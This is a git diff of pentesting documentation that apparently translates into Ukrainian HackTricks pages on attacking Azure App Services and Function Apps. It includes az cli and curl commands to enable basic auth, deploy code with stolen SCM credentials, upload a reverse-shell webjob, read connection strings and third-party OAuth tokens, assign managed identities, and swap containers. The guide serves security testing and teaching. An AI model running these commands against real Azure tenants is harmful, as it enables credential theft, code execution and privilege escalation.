that those credentials are **REDACTED**, it's because you **need to enable the SCM basic authentication option** and for that you need the second permission (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`): +> Зверніть увагу, що кожен користувач може налаштувати свої власні облікові дані, викликавши попередню команду, але якщо у користувача недостатньо прав для доступу до SCM або FTP, облікові дані не працюватимуть. +- Якщо ви бачите, що ці облікові дані **ЗАЧЕРНЕНІ**, це тому, що вам **потрібно увімкнути опцію базової аутентифікації SCM**, і для цього вам потрібен другий дозвіл (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`): ```bash # Enable basic authentication for SCM az rest --method PUT \ - --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \ - --body '{ - "properties": { - "allow": true - } - }' +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \ +--body '{ +"properties": { +"allow": true +} +}' # Enable basic authentication for FTP az rest --method PUT \ - --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \ - --body '{ - "properties": { - "allow": true - } - }' +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \ +--body '{ +"properties": { +"allow": true +} +}' ``` +### Публікація коду за допомогою облікових даних SCM -### Publish code using SCM credentials +Просто маючи дійсні облікові дані SCM, можливо **опублікувати код** в службі App. Це можна зробити за допомогою наступної команди. -Just having valid SCM credentials it's possible to **publish code** to the App service. This can be done using the following command. - -For this python example you can download the repo from https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart, do any **changes** you wish and then **zip it running: `zip -r app.zip .`**. - -Then you can **publish the code** in a web app with the following command: +Для цього прикладу на python ви можете завантажити репозиторій з https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart, внести будь-які **зміни**, які ви бажаєте, а потім **запакувати його, виконавши: `zip -r app.zip .`**. +Потім ви можете **опублікувати код** у веб-додатку за допомогою наступної команди: ```bash curl -X POST "/api/publish?type=zip" --data-binary "@./app.zip" -u ':' -H "Content-Type: application/octet-stream" ``` - ### Webjobs: Microsoft.Web/sites/publish/Action | SCM credentials -The mentioned Azure permission allows to perform several interesting actions that can also be performed with the SCM credentials: - -- Read **Webjobs** logs: +Зазначене дозволення Azure дозволяє виконувати кілька цікавих дій, які також можна виконати з обліковими даними SCM: +- Читати **Webjobs** журнали: ```bash # Using Azure credentials az rest --method GET --url "/vfs/data/jobs//rev5/job_log.txt" --resource "https://management.azure.com/" @@ -188,123 +179,108 @@ az rest --method GET --url "https://lol-b5fyaeceh4e9dce0.scm.canadacentral-01.az # Using SCM username and password: curl "/vfs/data/jobs/continuous/job_name/job_log.txt" \ - --user ':' -v +--user ':' -v ``` - -- Read **Webjobs** source code: - +- Читайте **Webjobs** вихідний код: ```bash # Using SCM username and password: # Find all the webjobs inside: curl "/wwwroot/App_Data/jobs/" \ - --user ':' +--user ':' # e.g. curl "https://nodewebapp-agamcvhgg3gkd3hs.scm.canadacentral-01.azurewebsites.net/wwwroot/App_Data/jobs/continuous/job_name/rev.js" \ - --user ':' +--user ':' ``` - -- Create **continuous Webjob**: - +- Створити **безперервний Webjob**: ```bash # Using Azure permissions az rest \ - --method put \ - --uri "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/api/Continuouswebjobs/reverse_shell" \ - --headers '{"Content-Disposition": "attachment; filename=\"rev.js\""}' \ - --body "@/Users/username/Downloads/rev.js" \ - --resource "https://management.azure.com/" +--method put \ +--uri "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/api/Continuouswebjobs/reverse_shell" \ +--headers '{"Content-Disposition": "attachment; filename=\"rev.js\""}' \ +--body "@/Users/username/Downloads/rev.js" \ +--resource "https://management.azure.com/" # Using SCM credentials curl -X PUT \ - "/api/Continuouswebjobs/reverse_shell2" \ - -H 'Content-Disposition: attachment; filename=rev.js' \ - --data-binary "@/Users/carlospolop/Downloads/rev.js" \ - --user ':' +"/api/Continuouswebjobs/reverse_shell2" \ +-H 'Content-Disposition: attachment; filename=rev.js' \ +--data-binary "@/Users/carlospolop/Downloads/rev.js" \ +--user ':' ``` - ### Microsoft.Web/sites/write, Microsoft.Web/sites/read, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action -These permissions allow to **assign a managed identity** to the App service, so if an App service was previously compromised this will allow the attacker to assign new managed identities to the App service and **escalate privileges** to them. - +Ці дозволи дозволяють **призначити керовану ідентичність** службі App, тому якщо служба App була раніше скомпрометована, це дозволить зловмиснику призначити нові керовані ідентичності службі App і **підвищити привілеї** до них. ```bash az webapp identity assign --name --resource-group --identities /subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/ ``` - ### Microsoft.Web/sites/config/list/action -This permission allows to list the **connection strings** and the **appsettings** of the App service which might contain sensitive information like database credentials. - +Ця дозволяє перераховувати **connection strings** та **appsettings** служби App, які можуть містити чутливу інформацію, таку як облікові дані бази даних. ```bash az webapp config connection-string list --name --resource-group az webapp config appsettings list --name --resource-group ``` +### Читання налаштованих облікових даних третьої сторони -### Read Configured Third Party Credentials - -Running the following command it's possible to **read the third party credentials** configured in the current account. Note that if for example some Github credentials are configured in a different user, you won't be able to access the token from a different one. - +Запустивши наступну команду, можна **прочитати облікові дані третьої сторони**, налаштовані в поточному обліковому записі. Зверніть увагу, що якщо, наприклад, деякі облікові дані Github налаштовані в іншому користувачеві, ви не зможете отримати доступ до токена з іншого. ```bash az rest --method GET \ - --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01" +--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01" ``` +Ця команда повертає токени для Github, Bitbucket, Dropbox та OneDrive. -This command returns tokens for Github, Bitbucket, Dropbox and OneDrive. - -Here you have some command examples to check the tokens: - +Ось кілька прикладів команд для перевірки токенів: ```bash # GitHub – List Repositories curl -H "Authorization: token " \ - -H "Accept: application/vnd.github.v3+json" \ - https://api.github.com/user/repos +-H "Accept: application/vnd.github.v3+json" \ +https://api.github.com/user/repos # Bitbucket – List Repositories curl -H "Authorization: Bearer " \ - -H "Accept: application/json" \ - https://api.bitbucket.org/2.0/repositories +-H "Accept: application/json" \ +https://api.bitbucket.org/2.0/repositories # Dropbox – List Files in Root Folder curl -X POST https://api.dropboxapi.com/2/files/list_folder \ - -H "Authorization: Bearer " \ - -H "Content-Type: application/json" \ - --data '{"path": ""}' +-H "Authorization: Bearer " \ +-H "Content-Type: application/json" \ +--data '{"path": ""}' # OneDrive – List Files in Root Folder curl -H "Authorization: Bearer " \ - -H "Accept: application/json" \ - https://graph.microsoft.com/v1.0/me/drive/root/children +-H "Accept: application/json" \ +https://graph.microsoft.com/v1.0/me/drive/root/children ``` +### Оновлення коду програми з джерела -### Update App Code from the source - -- If the configured source is a third-party provider like Github, BitBucket or an Azure Repository, you can **update the code** of the App service by compromising the source code in the repository. -- If the app is configured using a **remote git repository** (with username and password), it's possible to get the **URL and basic auth credentials** to clone and push changes with: - - Using the permission **`Microsoft.Web/sites/sourcecontrols/read`**: `az webapp deployment source show --name --resource-group ` - - Using the permission **`Microsoft.Web/sites/config/list/action`**: - - `az webapp deployment list-publishing-credentials --name --resource-group ` - - `az rest --method POST --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"` -- If the app is configured to use a **local git repository**, it's possible to **clone the repository** and **push changes** to it: - - Using the permission **`Microsoft.Web/sites/sourcecontrols/read`**: You can get the URL of the git repo with `az webapp deployment source show --name --resource-group `, but it's going to be the same as the the SCM URL of the app with the path `/.git` (e.g. `https://pythonwebapp-audeh9f5fzeyhhed.scm.canadacentral-01.azurewebsites.net:443/pythonwebapp.git`). - - To get the SCM credential you need the permission: - - **`Microsoft.Web/sites/publishxml/action`**: Then run `az webapp deployment list-publishing-profiles --resource-group -n `. - - **`Microsoft.Web/sites/config/list/action`**: Then run `az webapp deployment list-publishing-credentials --name --resource-group ` +- Якщо налаштоване джерело є стороннім постачальником, таким як Github, BitBucket або Azure Repository, ви можете **оновити код** служби програми, скомпрометувавши вихідний код у репозиторії. +- Якщо програма налаштована з використанням **віддаленого git-репозиторію** (з ім'ям користувача та паролем), можливо отримати **URL та базові облікові дані для авторизації** для клонування та внесення змін за допомогою: +- Використовуючи дозвіл **`Microsoft.Web/sites/sourcecontrols/read`**: `az webapp deployment source show --name --resource-group ` +- Використовуючи дозвіл **`Microsoft.Web/sites/config/list/action`**: +- `az webapp deployment list-publishing-credentials --name --resource-group ` +- `az rest --method POST --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"` +- Якщо програма налаштована на використання **локального git-репозиторію**, можливо **клонувати репозиторій** та **вносити зміни** до нього: +- Використовуючи дозвіл **`Microsoft.Web/sites/sourcecontrols/read`**: Ви можете отримати URL git-репозиторію за допомогою `az webapp deployment source show --name --resource-group `, але він буде таким же, як SCM URL програми з шляхом `/.git` (наприклад, `https://pythonwebapp-audeh9f5fzeyhhed.scm.canadacentral-01.azurewebsites.net:443/pythonwebapp.git`). +- Щоб отримати облікові дані SCM, вам потрібен дозвіл: +- **`Microsoft.Web/sites/publishxml/action`**: Потім виконайте `az webapp deployment list-publishing-profiles --resource-group -n `. +- **`Microsoft.Web/sites/config/list/action`**: Потім виконайте `az webapp deployment list-publishing-credentials --name --resource-group ` > [!WARNING] -> Note that having the permission `Microsoft.Web/sites/config/list/action` and the SCM credentials it's always possible to deploy into a webapp (even if it was configured to use a third-party provider) as mentioned in a previous section. +> Зверніть увагу, що наявність дозволу `Microsoft.Web/sites/config/list/action` та облікових даних SCM завжди дозволяє розгорнути в веб-додатку (навіть якщо він був налаштований на використання стороннього постачальника), як зазначено в попередньому розділі. > [!WARNING] -> Note that having the permissions below it's also **possible to execute an arbitrary container** even if the webapp was configured differently. +> Зверніть увагу, що наявність наведених нижче дозволів також **дозволяє виконати довільний контейнер**, навіть якщо веб-додаток був налаштований інакше. ### `Microsoft.Web/sites/config/Write`, `Microsoft.Web/sites/config/Read`, `Microsoft.Web/sites/config/list/Action`, `Microsoft.Web/sites/Read` -This is the set of permissions that allows to **modify the container used** by a webapp. An attacker could abuse it to make a webapp execute a malicious container. - +Це набір дозволів, який дозволяє **модифікувати контейнер, що використовується** веб-додатком. Зловмисник може зловживати цим, щоб змусити веб-додаток виконувати шкідливий контейнер. ```bash az webapp config container set \ - --name \ - --resource-group \ - --docker-custom-image-name mcr.microsoft.com/appsvc/staticsite:latest +--name \ +--resource-group \ +--docker-custom-image-name mcr.microsoft.com/appsvc/staticsite:latest ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-app-services.md b/src/pentesting-cloud/azure-security/az-services/az-app-services.md index 9c2f6b03a..1855d7e6e 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-app-services.md +++ b/src/pentesting-cloud/azure-security/az-services/az-app-services.md @@ -9,26 +9,27 @@ Azure App Services дозволяє розробникам **створюват Кожен додаток працює в пісочниці, але ізоляція залежить від планів App Service: - Додатки в безкоштовних та спільних тарифах працюють на **спільних ВМ** -- Додатки в стандартних та преміум тарифах працюють на **присвячених ВМ, які спільно використовуються лише додатками** в тому ж плані App Service. -- Ізольовані тарифи працюють на **присвячених ВМ у присвячених віртуальних мережах**, що покращує ізоляцію додатків. +- Додатки в стандартних та преміум тарифах працюють на **виділених ВМ, які спільно використовуються лише додатками** в тому ж плані App Service. +- Ізольовані тарифи працюють на **виділених ВМ у виділених віртуальних мережах**, покращуючи ізоляцію додатків. > [!WARNING] > Зверніть увагу, що **жодна** з цих ізоляцій **не запобігає** іншим загальним **веб-вразливостям** (таким як завантаження файлів або ін'єкції). І якщо використовується **ідентифікатор управління**, він може **підвищити привілеї до них**. Додатки мають деякі цікаві конфігурації: -- **Always On**: Забезпечує, щоб додаток завжди працював. Якщо не ввімкнено, додаток зупиниться після 20 хвилин бездіяльності і знову запуститься, коли буде отримано запит. +- **Always On**: Забезпечує, що додаток завжди працює. Якщо не ввімкнено, додаток зупиниться після 20 хвилин бездіяльності і знову запуститься, коли буде отримано запит. - Це необхідно, якщо у вас є вебробота, яка повинна працювати безперервно, оскільки вебробота зупиниться, якщо додаток зупиниться. - **SSH**: Якщо ввімкнено, користувач з достатніми правами може підключитися до додатка за допомогою SSH. - **Debugging**: Якщо ввімкнено, користувач з достатніми правами може налагоджувати додаток. Однак це автоматично вимикається кожні 48 годин. - **Веб-додаток + База даних**: Веб-консоль дозволяє створити додаток з базою даних. У цьому випадку можна вибрати базу даних для використання (SQLAzure, PostgreSQL, MySQL, MongoDB), а також створити Azure Cache для Redis. - URL, що містить облікові дані для бази даних та Redis, буде зберігатися в **appsettings**. -- **Контейнер**: Можна розгорнути контейнер в App Service, вказавши URL контейнера та облікові дані для доступу до нього. +- **Контейнер**: Можна розгорнути контейнер у App Service, вказавши URL контейнера та облікові дані для доступу до нього. - **Монтажі**: Можна створити 5 монтажів з облікових записів зберігання, які є Azure Blob (тільки для читання) або Azure Files. Конфігурація зберігатиме ключ доступу в обліковому записі зберігання. +- **Мережа**: Може бути загальнодоступною або доступною лише через приватні кінцеві точки з VNet. ## Basic Authentication -При створенні веб-додатка (а також Azure функції зазвичай) можна вказати, чи хочете ви, щоб **базова аутентифікація була ввімкнена** (за замовчуванням вимкнена). Це в основному **включає SCM (менеджер контролю версій) та FTP (протокол передачі файлів)** для програми, тому буде можливим розгортати програму, використовуючи ці технології. +При створенні веб-додатка (а також Azure функції зазвичай) можна вказати, чи хочете ви, щоб **базова аутентифікація була ввімкнена** (за замовчуванням вимкнена). Це в основному **включає SCM (менеджер контролю версій) та FTP (протокол передачі файлів)** для програми, тому буде можливим розгорнути програму, використовуючи ці технології. Для доступу до серверів SCM та FTP потрібні **ім'я користувача та пароль**. Тому Azure надає деякі **API для отримання URL** до цих платформ та облікових даних. @@ -49,7 +50,7 @@ Kudu - це платформа, яка **керує як SCM, так і веб- - Зверніть увагу, що це середовище **не має доступу** до служби метаданих для отримання токенів. - `/webssh/host`: Веб-клієнт SSH, який дозволяє підключитися всередину контейнера, де працює додаток. - Це середовище **має доступ до служби метаданих** для отримання токенів від призначених керованих ідентичностей. -- `/Env`: Отримати інформацію про систему, налаштування програми, змінні середовища, рядки підключення та HTTP заголовки. +- `/Env`: Отримати інформацію про систему, налаштування додатка, змінні середовища, рядки підключення та HTTP заголовки. - `/wwwroot/`: Коренева директорія веб-додатка. Ви можете завантажити всі файли звідси. Більше того, Kudu раніше був з відкритим кодом на [https://github.com/projectkudu/kudu](https://github.com/projectkudu/kudu), але проект був застарілий, і порівнюючи поведінку поточного Kudu в Azure зі старим, можна побачити, що **декілька речей вже змінилися**. @@ -65,17 +66,17 @@ App Services дозволяють завантажувати код у вигл - Ви можете отримати облікові дані для віддаленого репозиторію, запустивши `az webapp deployment source show --name --resource-group ` або `az rest --method POST --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"` - Також можливо використовувати **Azure Repository**. - Також можливо налаштувати **локальний git-репозиторій**. -- Ви можете отримати URL git-репозиторію за допомогою `az webapp deployment source show --name --resource-group `, і це буде SCM URL додатка. +- Ви можете отримати URL git-репозиторію за допомогою `az webapp deployment source show --name --resource-group ` і це буде SCM URL додатка. - Щоб клонувати його, вам знадобляться облікові дані SCM, які ви можете отримати за допомогою `az webapp deployment list-publishing-profiles --resource-group -n ` ## Webjobs -Azure WebJobs - це **фонові завдання, які працюють у середовищі Azure App Service**. Вони дозволяють розробникам виконувати скрипти або програми разом з їх веб-додатками, що полегшує обробку асинхронних або трудомістких операцій, таких як обробка файлів, обробка даних або заплановані завдання. +Azure WebJobs - це **фонові завдання, які працюють у середовищі Azure App Service**. Вони дозволяють розробникам виконувати скрипти або програми разом зі своїми веб-додатками, що спрощує обробку асинхронних або трудомістких операцій, таких як обробка файлів, обробка даних або заплановані завдання. Існує 2 типи вебробіт: -- **Безперервні**: Працюють безперервно в циклі і запускаються, щойно створені. Вони ідеальні для завдань, які потребують постійної обробки. Однак, якщо додаток перестане працювати, оскільки Always On вимкнено і не отримав запит за останні 20 хвилин, вебробота також зупиниться. +- **Безперервні**: Працюють безперервно в циклі і запускаються, щойно створені. Вони ідеальні для завдань, які потребують постійної обробки. Однак, якщо додаток перестане працювати, оскільки Always On вимкнено і він не отримав запит за останні 20 хвилин, вебробота також зупиниться. - **Запущені**: Працюють за запитом або за розкладом. Вони найкраще підходять для періодичних завдань, таких як пакетні оновлення даних або рутинні обслуговування. -Веброботи дуже цікаві з точки зору атакуючого, оскільки їх можна використовувати для **виконання коду** в середовищі та **підвищення привілеїв** до прикріплених керованих ідентичностей. +Webjobs є дуже цікавими з точки зору атакуючого, оскільки їх можна використовувати для **виконання коду** в середовищі та **підвищення привілеїв** до прикріплених керованих ідентичностей. Більше того, завжди цікаво перевіряти **журнали**, згенеровані веброботами, оскільки вони можуть містити **чутливу інформацію**. @@ -87,9 +88,9 @@ Azure WebJobs - це **фонові завдання, які працюють у ## Azure Function Apps -В основному **Azure Function apps є підмножиною Azure App Service** у веб-консолі, і якщо ви перейдете до веб-консолі та перелікуєте всі служби додатків або виконаєте `az webapp list` в az cli, ви зможете **побачити, що функціональні програми також перераховані там**. +В основному **Azure Function apps є підмножиною Azure App Service** у веб-консолі, і якщо ви перейдете до веб-консолі та перелікуєте всі служби додатків або виконаєте `az webapp list` в az cli, ви зможете **побачити, що функціональні додатки також перераховані там**. -Отже, обидві служби насправді мають в основному **однакові конфігурації, функції та опції в az cli**, хоча вони можуть налаштовувати їх трохи по-різному (наприклад, значення за замовчуванням appsettings або використання облікового запису зберігання в функціональних програмах). +Отже, обидва сервіси насправді мають в основному **однакові конфігурації, функції та опції в az cli**, хоча вони можуть налаштовувати їх трохи по-різному (наприклад, значення за замовчуванням appsettings або використання облікового запису зберігання в функціональних додатках). ## Enumeration @@ -176,6 +177,10 @@ az webapp conection list --name --resource-group # Get hybrid-connections of a webapp az webapp hybrid-connections list --name --resource-group + +# Get configured SMC users by your account +az webapp deployment user show +## If any user is created, the username should appear in the "publishingUserName" field ``` {{#endtab }} @@ -296,7 +301,7 @@ az webapp up --runtime PYTHON:3.9 --sku B1 --logs 1. Форкніть репозиторій msdocs-python-flask-webapp-quickstart у вашому обліковому записі Github. 2. Створіть новий веб-додаток на Python в Azure. -3. У `Deployment Center` змініть джерело, увійдіть за допомогою Github, виберіть форкнутий репозиторій і натисніть `Save`. +3. У `Deployment Center` змініть джерело, увійдіть з Github, виберіть форкнутий репозиторій і натисніть `Save`. Як і в попередньому випадку, увійшовши в SCM портал або через FTP, можна побачити в `/wwwroot` стиснутий файл `output.tar.gz`, який містить код веб-додатку. diff --git a/src/pentesting-cloud/azure-security/az-services/az-function-apps.md b/src/pentesting-cloud/azure-security/az-services/az-function-apps.md index 3801a5164..b649b12d2 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-function-apps.md +++ b/src/pentesting-cloud/azure-security/az-services/az-function-apps.md @@ -4,7 +4,7 @@ ## Основна інформація -**Azure Function Apps** - це **безсерверна обчислювальна служба**, яка дозволяє запускати невеликі фрагменти коду, звані **функціями**, без управління підлягаючою інфраструктурою. Вони призначені для виконання коду у відповідь на різні тригери, такі як **HTTP запити, таймери або події з інших служб Azure**, таких як Blob Storage або Event Hubs. Function Apps підтримують кілька мов програмування, включаючи C#, Python, JavaScript та Java, що робить їх універсальними для створення **додатків, орієнтованих на події**, автоматизації робочих процесів або інтеграції служб. Вони є економічно вигідними, оскільки зазвичай ви платите лише за час обчислень, коли ваш код виконується. +**Azure Function Apps** - це **безсерверна обчислювальна служба**, яка дозволяє запускати невеликі фрагменти коду, звані **функціями**, без управління підлягаючою інфраструктурою. Вони призначені для виконання коду у відповідь на різні тригери, такі як **HTTP запити, таймери або події з інших служб Azure**, таких як Blob Storage або Event Hubs. Function Apps підтримують кілька мов програмування, включаючи C#, Python, JavaScript та Java, що робить їх універсальними для створення **додатків, орієнтованих на події**, автоматизації робочих процесів або інтеграції служб. Вони економічні, оскільки зазвичай ви платите лише за час обчислень, коли ваш код виконується. > [!NOTE] > Зверніть увагу, що **Functions є підмножиною App Services**, тому багато функцій, обговорюваних тут, також будуть використовуватися додатками, створеними як Azure Apps (`webapp` в cli). @@ -12,14 +12,14 @@ ### Різні плани - **Flex Consumption Plan**: Пропонує **динамічне, орієнтоване на події масштабування** з оплатою за фактом використання, додаючи або видаляючи екземпляри функцій залежно від попиту. Підтримує **віртуальну мережу** та **попередньо підготовлені екземпляри**, щоб зменшити холодні старти, що робить його підходящим для **змінних навантажень**, які не потребують підтримки контейнерів. -- **Traditional Consumption Plan**: За замовчуванням безсерверний варіант, де ви **платите лише за обчислювальні ресурси, коли функції виконуються**. Він автоматично масштабується на основі вхідних подій і включає **оптимізації холодного старту**, але не підтримує розгортання контейнерів. Ідеально підходить для **періодичних навантажень**, які потребують автоматичного масштабування. +- **Traditional Consumption Plan**: За замовчуванням безсерверний варіант, де ви **платите лише за обчислювальні ресурси, коли функції виконуються**. Автоматично масштабується на основі вхідних подій і включає **оптимізації холодного старту**, але не підтримує розгортання контейнерів. Ідеально підходить для **перемінних навантажень**, які потребують автоматичного масштабування. - **Premium Plan**: Призначений для **послідовної продуктивності**, з **попередньо прогрітими працівниками**, щоб усунути холодні старти. Пропонує **подовжені часи виконання, віртуальну мережу** та підтримує **кастомізовані образи Linux**, що робить його ідеальним для **додатків критичного призначення**, які потребують високої продуктивності та розширених функцій. -- **Dedicated Plan**: Виконується на виділених віртуальних машинах з **передбачуваним білінгом** і підтримує ручне або автоматичне масштабування. Дозволяє запускати кілька додатків на одному плані, забезпечує **ізоляцію обчислень** і гарантує **безпечний доступ до мережі** через App Service Environments, що робить його ідеальним для **додатків з тривалим виконанням**, які потребують послідовного виділення ресурсів. -- **Container Apps**: Дозволяє розгортати **контейнеризовані функціональні додатки** в керованому середовищі, поряд з мікросервісами та API. Підтримує кастомні бібліотеки, міграцію спадкових додатків та **обробку GPU**, усуваючи управління кластерами Kubernetes. Ідеально підходить для **додатків, орієнтованих на події, масштабованих контейнеризованих додатків**. +- **Dedicated Plan**: Виконується на виділених віртуальних машинах з **передбачуваним білінгом** і підтримує ручне або автоматичне масштабування. Дозволяє запускати кілька додатків на одному плані, забезпечує **ізоляцію обчислень** і гарантує **безпечний доступ до мережі** через App Service Environments, що робить його ідеальним для **додатків з тривалим виконанням**, які потребують постійного виділення ресурсів. +- **Container Apps**: Дозволяє розгортати **контейнеризовані функціональні додатки** в керованому середовищі, поряд з мікросервісами та API. Підтримує кастомні бібліотеки, міграцію спадкових додатків та **обробку GPU**, усуваючи управління кластерами Kubernetes. Ідеально підходить для **додатків, орієнтованих на події, масштабованих контейнеризованих**. ### **Сховища** -При створенні нового Function App, який не контейнеризований (але надає код для виконання), **код та інші дані, пов'язані з функцією, будуть зберігатися в обліковому записі сховища**. За замовчуванням веб-консоль створить новий обліковий запис для кожної функції для зберігання коду. +При створенні нового Function App, не контейнеризованого (але з наданим кодом для виконання), **код та інші дані, пов'язані з функцією, будуть зберігатися в обліковому записі сховища**. За замовчуванням веб-консоль створить новий обліковий запис для кожної функції для зберігання коду. Більше того, модифікуючи код всередині сховища (в різних форматах, в яких він може бути збережений), **код програми буде змінено на новий і виконано** наступного разу, коли функція буде викликана. @@ -40,11 +40,11 @@ - Також можливо **надати або обмежити доступ** до Function App з **внутрішньої мережі (VPC)**. > [!CAUTION] -> Це дуже цікаво з точки зору атакуючого, оскільки може бути можливим **перемикання на внутрішні мережі** з вразливої функції, відкритої для Інтернету. +> Це дуже цікаво з точки зору атакуючого, оскільки може бути можливим **переходити до внутрішніх мереж** з вразливої функції, виставленої в Інтернет. ### **Налаштування Function App та змінні середовища** -Можливо налаштувати змінні середовища всередині програми, які можуть містити чутливу інформацію. Більше того, за замовчуванням змінні середовища **`AzureWebJobsStorage`** та **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (серед інших) створюються. Ці змінні особливо цікаві, оскільки вони **містять ключ облікового запису для контролю з ПОВНИМИ правами доступу до облікового запису сховища, що містить дані програми**. Ці налаштування також потрібні для виконання коду з облікового запису сховища. +Можливо налаштувати змінні середовища всередині програми, які можуть містити чутливу інформацію. Більше того, за замовчуванням змінні середовища **`AzureWebJobsStorage`** та **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (серед інших) створюються. Ці змінні особливо цікаві, оскільки **містять ключ облікового запису для контролю з ПОВНИМИ правами доступу до облікового запису сховища, що містить дані програми**. Ці налаштування також потрібні для виконання коду з облікового запису сховища. Ці змінні середовища або параметри конфігурації також контролюють, як функція виконує код, наприклад, якщо **`WEBSITE_RUN_FROM_PACKAGE`** існує, це вказує на URL, де розташований код програми. @@ -67,16 +67,18 @@ Можливо використовувати [**PEASS скрипти**](https://github.com/peass-ng/PEASS-ng) для отримання токенів з за замовчуванням керованої ідентичності з кінцевої точки метаданих. Або ви можете отримати їх **вручну**, як пояснено в: -{% embed url="https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm" %} +{{#ref}} +https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm +{{#endref}} Зверніть увагу, що вам потрібно знайти спосіб **перевірити всі керовані ідентичності, прикріплені до функції**, оскільки якщо ви цього не вкажете, кінцева точка метаданих **використовуватиме лише за замовчуванням** (перевірте попереднє посилання для отримання додаткової інформації). ## Ключі доступу > [!NOTE] -> Зверніть увагу, що немає дозволів RBAC для надання доступу користувачам для виклику функцій. **Виклик функції залежить від тригера**, вибраного під час її створення, і якщо був вибраний HTTP тригер, можливо, знадобиться використовувати **ключ доступу**. +> Зверніть увагу, що немає прав RBAC для надання доступу користувачам для виклику функцій. **Виклик функції залежить від тригера**, вибраного під час її створення, і якщо був вибраний HTTP тригер, можливо, знадобиться використовувати **ключ доступу**. -При створенні кінцевої точки всередині функції за допомогою **HTTP тригера** можливо вказати **рівень авторизації ключа доступу**, необхідний для виклику функції. Доступні три варіанти: +При створенні кінцевої точки всередині функції, використовуючи **HTTP тригер**, можливо вказати **рівень авторизації ключа доступу**, необхідний для виклику функції. Доступні три варіанти: - **ANONYMOUS**: **Кожен** може отримати доступ до функції за URL. - **FUNCTION**: Кінцева точка доступна лише користувачам, які використовують **ключ функції, хоста або майстра**. @@ -84,19 +86,19 @@ **Типи ключів:** -- **Ключі функцій:** Ключі функцій можуть бути або за замовчуванням, або визначеними користувачем і призначені для надання доступу виключно до **конкретних кінцевих точок функцій** в рамках Function App, що дозволяє більш детальний доступ до кінцевих точок. +- **Ключі функцій:** Ключі функцій можуть бути або за замовчуванням, або визначеними користувачем і призначені для надання доступу виключно до **конкретних кінцевих точок функцій** в рамках Function App, що дозволяє більш детально контролювати доступ до кінцевих точок. - **Ключі хоста:** Ключі хоста, які також можуть бути за замовчуванням або визначеними користувачем, надають доступ до **всіх кінцевих точок функцій в рамках Function App з рівнем доступу FUNCTION**. - **Ключ майстра:** Ключ майстра (`_master`) слугує адміністративним ключем, який пропонує підвищені права, включаючи доступ до всіх кінцевих точок функцій (включаючи рівень доступу ADMIN). Цей **ключ не може бути відкликаний.** -- **Системні ключі:** Системні ключі **керуються конкретними розширеннями** і потрібні для доступу до кінцевих точок вебхуків, які використовуються внутрішніми компонентами. Прикладами є тригер Event Grid та Durable Functions, які використовують системні ключі для безпечної взаємодії зі своїми відповідними API. +- **Системні ключі:** Системні ключі **керуються конкретними розширеннями** і потрібні для доступу до кінцевих точок вебхуків, які використовуються внутрішніми компонентами. Прикладами є тригер Event Grid та Durable Functions, які використовують системні ключі для безпечної взаємодії з їхніми відповідними API. > [!TIP] -> Приклад доступу до кінцевої точки API функції за допомогою ключа: +> Приклад доступу до кінцевої точки API функції, використовуючи ключ: > > `https://.azurewebsites.net/api/?code=` ### Основна аутентифікація -Так само, як і в App Services, функції також підтримують основну аутентифікацію для підключення до **SCM** та **FTP** для розгортання коду, використовуючи **ім'я користувача та пароль у URL**, наданому Azure. Більше інформації про це в: +Так само, як і в App Services, функції також підтримують основну аутентифікацію для підключення до **SCM** та **FTP** для розгортання коду, використовуючи **ім'я користувача та пароль в URL**, наданому Azure. Більше інформації про це в: {{#ref}} az-app-services.md @@ -192,18 +194,18 @@ package: ${{ env.AZURE_FUNCTIONAPP_PACKAGE_PATH }} ``` -Більше того, **Managed Identity** також створюється, щоб Github Action з репозиторію міг увійти в Azure за його допомогою. Це робиться шляхом генерації федеративних облікових даних через **Managed Identity**, що дозволяє **Issuer** `https://token.actions.githubusercontent.com` та **Subject Identifier** `repo:/:ref:refs/heads/`. +Більше того, **Managed Identity** також створюється, щоб Github Action з репозиторію міг увійти в Azure з його допомогою. Це робиться шляхом генерації федеративних облікових даних через **Managed Identity**, що дозволяє **Issuer** `https://token.actions.githubusercontent.com` та **Subject Identifier** `repo:/:ref:refs/heads/`. > [!CAUTION] > Отже, будь-хто, хто скомпрометує цей репозиторій, зможе скомпрометувати функцію та пов'язані з нею Managed Identities. -### Container Based Deployments +### Деплойменти на основі контейнерів -Не всі плани дозволяють розгортати контейнери, але для тих, що дозволяють, конфігурація міститиме URL контейнера. В API налаштування **`linuxFxVersion`** матиме щось на зразок: 